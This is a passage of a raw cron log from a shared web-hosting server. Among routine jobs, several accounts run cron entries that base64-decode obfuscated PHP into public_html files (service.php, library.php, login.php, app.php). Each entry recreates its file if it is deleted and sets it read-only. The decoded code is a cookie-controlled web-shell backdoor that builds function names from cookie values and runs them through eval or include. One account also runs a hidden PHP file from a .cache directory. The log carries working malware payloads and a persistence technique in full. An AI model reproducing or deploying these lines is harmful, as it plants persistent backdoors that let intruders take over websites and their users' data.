JF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:01:01 medusa CROND[16237]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:01:02 medusa run-parts(/etc/cron.hourly)[16347]: finished 0anacron
Apr 19 09:02:02 medusa CROND[8629]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:02:02 medusa CROND[8630]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:02:02 medusa CROND[8634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:02:02 medusa CROND[8635]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:02:02 medusa CROND[8636]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 09:02:02 medusa CROND[8637]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:02:02 medusa CROND[8638]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:02:02 medusa CROND[8639]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:02:02 medusa CROND[8640]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:02:02 medusa CROND[8645]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:02:02 medusa CROND[8647]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:02:02 medusa CROND[8646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:02:02 medusa CROND[8648]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:03:01 medusa CROND[32553]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 09:03:01 medusa CROND[32554]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:03:01 medusa CROND[32556]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:03:01 medusa CROND[32557]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:03:01 medusa CROND[32558]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:03:01 medusa CROND[32559]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:03:01 medusa CROND[32563]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:03:01 medusa CROND[32561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:03:01 medusa CROND[32562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:03:01 medusa CROND[32567]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:03:01 medusa CROND[32569]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:03:01 medusa CROND[32570]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:04:01 medusa CROND[23841]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:04:02 medusa CROND[23941]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 